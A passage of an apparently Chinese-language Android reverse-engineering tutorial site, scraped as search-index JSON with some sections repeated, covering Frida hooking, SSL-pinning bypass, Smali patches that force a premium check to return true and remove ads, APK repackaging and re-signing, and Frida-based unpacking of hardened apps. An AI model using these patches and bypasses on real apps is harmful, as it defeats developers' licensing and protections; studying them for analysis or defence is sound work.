192.168.1.100:8080 # 2. 启动应用并绕过 SSL pinning frida -U -f com.example.app -l bypass_ssl_pinning.js --no-pause # 3. 在 Burp Suite 中查看流量 Hook OkHttp 请求 // hook_okhttp.js Java.perform(function () { var RealInterceptorChain = Java.use( \"okhttp3.internal.http.RealInterceptorChain\" ); RealInterceptorChain.proceed.implementation = function (request) { console.log( \"\\n[HTTP] \" + request.method() + \" \" + request.url().toString() ); // 打印请求头 var headers = request.headers(); for (var i = 0; i \u003c headers.size(); i++) { console.log(\" \" + headers.name(i) + \": \" + headers.value(i)); } var response = this.proceed(request); console.log(\"[RESP] Code: \" + response.code()); return response; }; }); ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:5","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#hook-okhttp-请求"},{"categories":null,"collections":null,"content":"阶段三产出 成功绕过会员检查、反调试等限制 完整的网络请求/响应日志 准备好重打包的修改点 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:7:6","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#阶段三产出"},{"categories":null,"collections":null,"content":"阶段四：代码修改与重打包（30-60 分钟） 目标：对应用进行永久性修改，实现持久化的功能改变。 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:8:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#阶段四代码修改与重打包30-60-分钟"},{"categories":null,"collections":null,"content":"步骤 1：修改 Smali 代码 基于动态分析结果，在 Smali 层面进行修改。 示例 1：绕过会员检查 原始 Java 代码（Jadx 反编译）： public boolean isPremium() { return this.userInfo.vipStatus == 1; } 原始 Smali 代码： .method public isPremium()Z .locals 2 # 读取 userInfo.vipStatus iget-object v0, p0, Lcom/example/app/user/UserManager;-\u003euserInfo:Lcom/example/app/model/UserInfo; iget v0, v0, Lcom/example/app/model/UserInfo;-\u003evipStatus:I # 比较是否等于 1 const/4 v1, 0x1 if-ne v0, v1, :cond_0 # 如果相等，返回 true const/4 v0, 0x1 return v0 # 如果不相等，返回 false :cond_0 const/4 v0, 0x0 return v0 .end method 修改后 Smali 代码： .method public isPremium()Z .locals 1 # 直接返回 true，跳过所有检查 const/4 v0, 0x1 return v0 .end method 示例 2：移除广告显示 原始 Smali 代码： .method private showAd()V .locals 1 # 检查是否不是 VIP invoke-virtual {p0}, Lcom/example/app/MainActivity;-\u003eisPremium()Z move-result v0 # 如果不是 VIP，显示广告 if-nez v0, :cond_0 invoke-direct {p0}, Lcom/example/app/MainActivity;-\u003eloadAdView()V :cond_0 return-void .end method 修改后 Smali 代码： .method private showAd()V .locals 0 # 直接返回，不执行任何操作 return-void .end method ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:8:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-1修改-smali-代码"},{"categories":null,"collections":null,"content":"步骤 1：修改 Smali 代码 基于动态分析结果，在 Smali 层面进行修改。 示例 1：绕过会员检查 原始 Java 代码（Jadx 反编译）： public boolean isPremium() { return this.userInfo.vipStatus == 1; } 原始 Smali 代码： .method public isPremium()Z .locals 2 # 读取 userInfo.vipStatus iget-object v0, p0, Lcom/example/app/user/UserManager;-\u003euserInfo:Lcom/example/app/model/UserInfo; iget v0, v0, Lcom/example/app/model/UserInfo;-\u003evipStatus:I # 比较是否等于 1 const/4 v1, 0x1 if-ne v0, v1, :cond_0 # 如果相等，返回 true const/4 v0, 0x1 return v0 # 如果不相等，返回 false :cond_0 const/4 v0, 0x0 return v0 .end method 修改后 Smali 代码： .method public isPremium()Z .locals 1 # 直接返回 true，跳过所有检查 const/4 v0, 0x1 return v0 .end method 示例 2：移除广告显示 原始 Smali 代码： .method private showAd()V .locals 1 # 检查是否不是 VIP invoke-virtual {p0}, Lcom/example/app/MainActivity;-\u003eisPremium()Z move-result v0 # 如果不是 VIP，显示广告 if-nez v0, :cond_0 invoke-direct {p0}, Lcom/example/app/MainActivity;-\u003eloadAdView()V :cond_0 return-void .end method 修改后 Smali 代码： .method private showAd()V .locals 0 # 直接返回，不执行任何操作 return-void .end method ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:8:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#示例-1绕过会员检查"},{"categories":null,"collections":null,"content":"步骤 1：修改 Smali 代码 基于动态分析结果，在 Smali 层面进行修改。 示例 1：绕过会员检查 原始 Java 代码（Jadx 反编译）： public boolean isPremium() { return this.userInfo.vipStatus == 1; } 原始 Smali 代码： .method public isPremium()Z .locals 2 # 读取 userInfo.vipStatus iget-object v0, p0, Lcom/example/app/user/UserManager;-\u003euserInfo:Lcom/example/app/model/UserInfo; iget v0, v0, Lcom/example/app/model/UserInfo;-\u003evipStatus:I # 比较是否等于 1 const/4 v1, 0x1 if-ne v0, v1, :cond_0 # 如果相等，返回 true const/4 v0, 0x1 return v0 # 如果不相等，返回 false :cond_0 const/4 v0, 0x0 return v0 .end method 修改后 Smali 代码： .method public isPremium()Z .locals 1 # 直接返回 true，跳过所有检查 const/4 v0, 0x1 return v0 .end method 示例 2：移除广告显示 原始 Smali 代码： .method private showAd()V .locals 1 # 检查是否不是 VIP invoke-virtual {p0}, Lcom/example/app/MainActivity;-\u003eisPremium()Z move-result v0 # 如果不是 VIP，显示广告 if-nez v0, :cond_0 invoke-direct {p0}, Lcom/example/app/MainActivity;-\u003eloadAdView()V :cond_0 return-void .end method 修改后 Smali 代码： .method private showAd()V .locals 0 # 直接返回，不执行任何操作 return-void .end method ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:8:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#示例-2移除广告显示"},{"categories":null,"collections":null,"content":"步骤 2：重新打包 APK # 1. 使用 Apktool 重打包 apktool b target_unpacked -o modified.apk # 输出： # I: Using Apktool 2.x.x # I: Checking whether sources has changed... # I: Smali folder: smali # I: Smali folder: smali_classes2 # I: Copying raw resources... # I: Copying libs... (/lib) # I: Copying assets... (/assets) # I: Building apk file... # I: Copying unknown files/dir... # I: Built apk into: modified.apk # 2. 检查生成的 APK ls -lh modified.apk # -rw-r--r-- 1 user user 8.5M modified.apk ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:8:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-2重新打包-apk"},{"categories":null,"collections":null,"content":"步骤 3：签名 APK # 1. 生成签名密钥（只需执行一次） keytool -genkey -v \\ -keystore my-release-key.keystore \\ -alias my-key-alias \\ -keyalg RSA \\ -keysize 2048 \\ -validity 10000 # 提示输入密码和信息： # Enter keystore password: [输入密码] # Re-enter new password: [再次输入] # What is your first and last name? [随意填写] # ... # 2. 签名 APK apksigner sign \\ --ks my-release-key.keystore \\ --ks-key-alias my-key-alias \\ --out signed.apk \\ modified.apk # 提示输入 keystore 密码 # 输出：signed.apk # 3. 验证签名 apksigner verify signed.apk # 输出：Verifies # 表示签名成功 使用 uber-apk-signer（更简单） java -jar uber-apk-signer.jar --apks modified.apk # 输出：modified-aligned-debugSigned.apk ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:8:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-3签名-apk"},{"categories":null,"collections":null,"content":"步骤 3：签名 APK # 1. 生成签名密钥（只需执行一次） keytool -genkey -v \\ -keystore my-release-key.keystore \\ -alias my-key-alias \\ -keyalg RSA \\ -keysize 2048 \\ -validity 10000 # 提示输入密码和信息： # Enter keystore password: [输入密码] # Re-enter new password: [再次输入] # What is your first and last name? [随意填写] # ... # 2. 签名 APK apksigner sign \\ --ks my-release-key.keystore \\ --ks-key-alias my-key-alias \\ --out signed.apk \\ modified.apk # 提示输入 keystore 密码 # 输出：signed.apk # 3. 验证签名 apksigner verify signed.apk # 输出：Verifies # 表示签名成功 使用 uber-apk-signer（更简单） java -jar uber-apk-signer.jar --apks modified.apk # 输出：modified-aligned-debugSigned.apk ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:8:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#使用-uber-apk-signer更简单"},{"categories":null,"collections":null,"content":"步骤 4：安装测试 # 1. 卸载原应用（如果存在） adb uninstall com.example.app # 2. 安装修改后的 APK adb install signed.apk # 如果遇到签名冲突： # adb install -r signed.apk (替换安装) # 3. 启动应用 adb shell am start -n com.example.app/.MainActivity # 4. 查看日志验证修改 adb logcat | grep \"example.app\" 验证清单： 修改的功能生效（例如 VIP 权限解锁） 没有崩溃或异常行为 网络功能正常（如果修改了签名相关代码） ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:8:4","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-4安装测试"},{"categories":null,"collections":null,"content":"常见问题排查 # 查看崩溃日志 adb logcat | grep \"AndroidRuntime\" # 常见错误： # 1. \"INSTALL_PARSE_FAILED_NO_CERTIFICATES\" # → 签名失败，重新签名 # 2. \"INSTALL_FAILED_UPDATE_INCOMPATIBLE\" # → 签名不匹配，先卸载原应用 # 3. 应用崩溃 # → 查看 logcat，可能是 Smali 语法错误 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:8:5","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#常见问题排查"},{"categories":null,"collections":null,"content":"工作流程总结 信息收集 (15-30 分钟) ↓ 快速了解技术栈 避免盲目分析浪费时间 ↓ 静态分析 (1-3 小时) ↓ 理解代码逻辑和算法 定位关键函数和 hook 点 ↓ 动态分析 (2-4 小时) ↓ 验证静态分析结论 绕过运行时保护 获取实际数据（密钥、API 参数） ↓ 代码修改 (30-60 分钟) ↓ 永久性修改 无需每次都使用 Frida ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:9:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#工作流程总结"},{"categories":null,"collections":null,"content":"静态 vs 动态分析对比 场景 静态分析 动态分析 推荐 绕过混淆 困难 可行 动态 获取密钥 难（可能硬编码） 易（运行时） 动态 修改代码 精确 不持久 静态 时间成本 高（有混淆时） 中等 结合使用 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:9:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#静态-vs-动态分析对比"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:10:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#常见问题"},{"categories":null,"collections":null,"content":"问题 1：Apktool 解包失败 错误信息：brut.androlib.AndrolibException: Could not decode arsc file 可能原因： APK 使用了资源混淆（AndResGuard） APK 已损坏 Apktool 版本过旧 解决方案： # 1. 更新 Apktool 到最新版本 # 下载：https://ibotpeaches.github.io/Apktool/ # 2. 使用 -r 参数跳过资源解码 apktool d target.apk -r -o target_unpacked # -r: 不解码资源文件 (resources.arsc) # 3. 使用 --only-main-classes 仅解码主 DEX apktool d target.apk --only-main-classes -o target_unpacked # 4. 如果只需要 Smali，直接使用 dex2jar + jd-gui d2j-dex2jar target.apk # 生成 target-dex2jar.jar，用 JD-GUI 打开 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:10:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#问题-1apktool-解包失败"},{"categories":null,"collections":null,"content":"问题 2：代码混淆严重无法阅读 解决方案： # 1. 优先使用动态分析 # 混淆的代码在运行时行为不变 # 使用 Frida 直接 hook，观察参数和返回值 # 2. 利用字符串常量定位 # 字符串通常不会被混淆 # 在 Jadx 中搜索关键字符串，反向定位代码 # 3. 重命名类/方法（Jadx 支持） # 右键类名 → Rename # 根据功能手动重命名为有意义的名称 # 4. 使用符号还原工具 # 如果有 mapping.txt（混淆映射文件） # 可以使用工具还原符号 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:10:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#问题-2代码混淆严重无法阅读"},{"categories":null,"collections":null,"content":"问题 3：Frida 无法连接应用 可能原因： 应用未运行 包名错误 Frida Server 未启动 解决方案： # 1. 检查 Frida Server 是否运行 adb shell ps | grep frida-server # 如果没有输出，需要启动 Frida Server # 2. 确认应用正在运行 adb shell ps | grep com.example.app # 或 frida-ps -U | grep example # 3. 使用正确的包名 # 查看已安装应用的包名 adb shell pm list packages | grep example # 4. 使用 spawn 模式（自动启动应用） frida -U -f com.example.app -l script.js --no-pause # -f: spawn 模式，会自动启动应用 # 5. 检查设备连接 adb devices # 应显示：device（不是 offline 或 unauthorized） ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:10:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#问题-3frida-无法连接应用"},{"categories":null,"collections":null,"content":"问题 4：重打包后应用崩溃 可能原因： Smali 语法错误 修改破坏了类结构 缺少依赖 解决方案： # 1. 查看详细崩溃日志 adb logcat -c # 清空日志 adb logcat | grep -E \"AndroidRuntime|FATAL\" # 2. 验证 Smali 语法 # 用 Apktool 重新反编译修改后的 APK apktool d signed.apk -o verify_unpacked # 查看是否有错误提示 # 3. 回滚修改，逐步测试 # 先修改单个方法，通过后再修改其他 # 4. 使用 baksmali/smali 验证 baksmali d modified.apk -o smali_test smali a smali_test -o test.dex # 如果验证通过，说明 Smali 语法正确 # 5. 检查方法签名是否正确 # 确保修改的方法签名与接口/父类匹配 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:10:4","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#问题-4重打包后应用崩溃"},{"categories":null,"collections":null,"content":"相关资源 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:11:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#相关资源"},{"categories":null,"collections":null,"content":"相关配方 Recipe 说明 Android 应用网络流量分析 详细的网络流量分析步骤 绕过应用对 Frida 的检测 反调试绕过 脱壳和分析加固的 Android 应用 处理加壳应用 Frida 常用脚本速查 现成的脚本模板 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:11:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 Frida 使用指南 - 完整的 Frida 使用手册 Ghidra 使用指南 - Native 代码分析 IDA Pro 使用指南 - 专业逆向工程工具 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:11:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#工具深入"},{"categories":null,"collections":null,"content":"案例研究 💡 思路一句话: 逆向分析不是线性过程，而是「假设→验证→修正」的循环 — 先建立对目标的初步理解，然后用动态分析验证假设，不断缩小范围直到定位核心逻辑。 案例：音乐应用分析 - 完整工作流程实践 案例：应用加密分析 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:11:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#案例研究"},{"categories":null,"collections":null,"content":"参考资料 APK 文件结构详解 Smali 语法参考 Android 组件详解 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:11:4","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#参考资料"},{"categories":null,"collections":null,"content":"速查手册 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:12:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#速查手册"},{"categories":null,"collections":null,"content":"工作流程快速地图 解包 APK ──────── 分析 Manifest ──────── 查看目录 │ │ │ └───────────────────┼───────────────────┘ ↓ 确定分析方向 ↓ ┌───────────────┼───────────────┐ ↓ ↓ 静态分析 动态分析 (Jadx/IDA) (Frida) │ │ ├─ 定位关键代码 │ ├─ 理解算法逻辑 │ └─ 确定 hook 点 ────────────────┤ │ ┌───────────────────────┤ ↓ ↓ Hook 验证 绕过保护 │ │ └───────────┬───────────┘ ↓ 提取关键数据 (密钥/算法) ↓ 修改 Smali ↓ 重打包 \u0026 签名 ↓ 测试 \u0026 验证 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:12:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#工作流程快速地图"},{"categories":null,"collections":null,"content":"常用命令速查 操作 工具 命令 解包 Apktool apktool d app.apk -o unpacked 反编译 Jadx jadx-gui app.apk Native 分析 IDA/Ghidra 直接打开 .so 文件 动态分析 Frida frida -U -f \u003cpkg\u003e -l script.js --no-pause 重打包 Apktool apktool b unpacked -o modified.apk 签名 apksigner apksigner sign --ks key.keystore --out signed.apk modified.apk 安装 ADB adb install signed.apk ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:12:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#常用命令速查"},{"categories":null,"collections":null,"content":"常用快捷操作 # 1. 一键提取 APK 脚本（保存为 get-apk.sh） #!/bin/bash PKG=$1 APK_PATH=$(adb shell pm path $PKG | cut -d: -f2 | tr -d '\\r') adb pull $APK_PATH ./$PKG.apk echo \"[+] 已保存: $PKG.apk\" # 使用：./get-apk.sh com.example.app # 2. 一键解包 + 反编译 apktool d app.apk \u0026\u0026 jadx-gui app.apk \u0026 # 3. 快速查看 Manifest apktool d -s app.apk -o temp \u0026\u0026 cat temp/AndroidManifest.xml # 4. 自动签名脚本（保存为 sign-apk.sh） #!/bin/bash APK=$1 java -jar uber-apk-signer.jar --apks $APK echo \"[+] 签名 APK 已创建\" # 5. Frida 快速 hook（交互模式） frida -U com.example.app # 进入后执行: # Java.perform(function() { # var cls = Java.use(\"com.example.Class\"); # cls.method.implementation = function() { return true; }; # }); ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:12:3","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#常用快捷操作"},{"categories":null,"collections":null,"content":"决策树 拿到 APK │ ├─ 有源码? │ └─ 有 → 直接阅读代码 → 动态验证 │ └─ 无 → 继续 │ ├─ 是否加壳? │ └─ 是 → 先脱壳（参见脱壳 Recipe） │ └─ 否 → 继续 │ ├─ 是否混淆? │ └─ 重度混淆 → 优先动态分析（Frida） │ └─ 轻度/无 → 优先静态分析（Jadx） │ ├─ Native 代码多? │ └─ 是 → 用 IDA/Ghidra 分析 .so │ └─ 否 → 专注 Java 层 │ └─ 有反调试? └─ 是 → 先绕过检测 └─ 否 → 直接 hook ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:12:4","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#决策树"},{"categories":null,"collections":null,"content":"使用 Frida 脱壳加固 App 并修复 SO 文件 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Frida 完整指南 - 掌握 Frida 内存操作与 Hook SO/ELF 格式 - 理解 ELF 文件结构以进行修复 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:0:0","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#使用-frida-脱壳加固-app-并修复-so-文件"},{"categories":null,"collections":null,"content":"问题场景 你遇到了什么问题？ 用 jadx 打开 APK，发现代码被混淆或看不到关键逻辑 🛡️ APK 使用了加固（加壳）保护，无法静态分析 📦 SO 文件被加密，IDA Pro 无法正确加载 你想获取 App 运行时真正的 DEX 文件 🧩 需要分析 Native 层代码，但 SO 文件已被加壳 本配方教你：使用 Frida 动态脱壳加固 App、Dump 内存中的 DEX 和 SO 文件、修复文件格式以供分析。 核心理念： 💡 动态脱壳：在运行时获取已解密的代码 加壳只是静态保护，运行时必然会解密 Frida 可以在 DEX/SO 加载时 dump 内存 修复文件格式后即可用传统工具分析 绕过所有加固方案的通用方法 预计用时: 30-60 分钟 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:1:0","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:2:0","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#工具清单"},{"categories":null,"collections":null,"content":"必需工具 ☐ Frida - 动态插桩框架 ☐ Android 设备（已 Root）或模拟器 ☐ Python 3.7+ - 运行 Frida 脚本 ☐ jadx-gui - 分析脱壳后的 DEX ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:2:1","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#必需工具"},{"categories":null,"collections":null,"content":"可选工具 ☐ IDA Pro / Ghidra - 分析 SO 文件 ☐ frida-dexdump - 自动化 DEX 脱壳 ☐ FRIDA-DEXDump - 另一个流行的脱壳工具 ☐ SoFixer - 修复 dump 的 SO 文件 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:2:2","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#可选工具"},{"categories":null,"collections":null,"content":"前置条件 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:3:0","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#前置条件"},{"categories":null,"collections":null,"content":"✅ 确认清单 # 1. Frida 正常运行 frida-ps -U # 2. Python 环境 python3 --version # 3. jadx-gui 已安装 jadx-gui --version # 4. 检查设备 root 状态 adb shell su -c 'id' # 应该显示 uid=0(root) ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:3:1","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#-确认清单"},{"categories":null,"collections":null,"content":"识别 App 是否加固 方法 1：jadx 查看 打开 APK，如果看到： 只有几个类和方法 有 StubApp、ProxyApplication 等字样 MainActivity 逻辑异常简单 方法 2：查看 SO 文件 # 解压 APK unzip app.apk -d app_unzipped # 查看 lib 目录 ls app_unzipped/lib/arm64-v8a/ # 常见加固壳 SO 文件名 # libjiagu.so (360加固) # libDexHelper.so (梆梆加固) # libtup.so (腾讯加固) # libexec.so (爱加密) ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:3:2","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#识别-app-是否加固"},{"categories":null,"collections":null,"content":"解决方案 ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:0","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#解决方案"},{"categories":null,"collections":null,"content":"第 1 步：使用 frida-dexdump 脱壳（10 分钟） 1.1 安装 frida-dexdump # 克隆项目 git clone https://github.com/hluwa/frida-dexdump.git cd frida-dexdump # 安装依赖 pip3 install frida frida-tools 1.2 运行脱壳 # -f: 启动应用 # --no-pause: 不暂停，立即运行 python3 main.py -U -f com.example.app # 脚本会自动： # 1. 启动应用 # 2. Hook DEX 加载函数 # 3. 导出所有已加载的 DEX 文件 # 4. 保存到当前目录 输出示例： [DEXDump] Dumping DEX file: 0x7abc000000, size: 4562314 [DEXDump] Saved: com.example.app_classes.dex [DEXDump] Found DEX: /data/app/.../base.apk!classes2.dex [DEXDump] Dumping DEX file: 0x7abc500000, size: 2314567 [DEXDump] Saved: com.example.app_classes2.dex [DEXDump] Total: 2 DEX files dumped 1.3 验证脱壳结果 # 用 jadx 打开 jadx-gui com.example.app_classes.dex ","date":"2024-11-09","objectID":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/:4:1","tags":["Native层","签名验证","Frida","代理池","Ghidra","DEX"],"title":"使用 Frida 脱壳加固 App 并修复 SO 文件","uri":"/reverse_engineering/android/01-recipes/unpacking/frida_unpacking_and_so_fixing/#第-1-步使用-frida-dexdump-脱壳10-分钟"},{"categories":null,"collections":null,"content":"第 1 步：使用 frida-dexdump 脱壳（10 分钟） 1.1 安装 frida-dexdump # 克隆项目 git clone https://github.com/hluwa/frida-dexdump.git cd frida-dexdump # 安装依赖 pip3 install frida frida-tools 1.2 运行脱壳 # -f: 启动应用 # --no-pause: 不暂停，立即运行 python3 main.py -U -f com.example.app # 脚本会自动： # 1. 启动应用 # 2. Hook DEX 加载函数 # 3. 导出所有已加载的 DEX 文件 # 4. 保存到当前目录 输出示例： [DEXDump] Dumping DEX file: 0x7abc000000, size: 4562314 [DEXDump] Saved: com.example.app_classes.dex [DEXDump] Found DEX: /data/app/.../base.apk!classes2.dex [DEXDump] Dumping DEX file: 0x7abc500000, size: 2314567 [DEXDump] Saved: com.example.app_classes2.dex [DEXDump] Total: 2 DEX files dumped 1.3 验证脱壳结果 # 用 jadx 打开 jadx-gui com.example.app_classes.dex 